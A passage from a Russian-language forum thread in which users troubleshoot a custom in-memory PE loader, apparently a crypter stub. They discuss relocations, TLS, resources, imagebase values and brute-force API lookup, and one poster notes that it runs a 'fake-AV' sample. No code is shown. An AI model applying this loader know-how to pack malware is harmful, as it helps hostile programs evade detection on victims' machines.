автор сам решает какой хайд ему ставить, все это делается дабы повысить активность форума, не нравиться заведите отдельную ветку и покажите там что то свое без хайда на радость общественности.
 
обновили код в посте Chococrem'а. Теперь на семерке тоже всё гуд:) Тестим дальше.

появилась другая проблема, теперь похоже дело в неправильной обработке ресурсов, собсно файл - обычное вин апи приложение - калькулятор, есть релоки, тлс и ресурсы, присоединяйтесь, вот собсно и он https://cryptobin.org/s736y6e1, пасс dlab
 
Поиск API я специально не включал сюда, потому что это не относится к делу :)
Я делаю поиск брутфорсом и передаю адреса нужных функции лоадеру, в итоге всё работает - и калькулятор, и нотепад и фейк-ав и всё остальное.
 
насчет ресурсов. стандартный имеджбейз 400000, у калькулятора и многих других приложений микрософта имеджбейз 1000000. чтобы работали ресурсы компилируйте ваш файл с имеджбейзом как у калькулятора.
http://hghltd.yandex.net/yandbtm?cht=1&tex...d90f4e1&keyno=0
 
нет, там имэджбэйз стандартная, как впрочем у всех делфи приложений 400000.
дело в парсинге импорта скорее всего, хз, нужно разбираться...
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх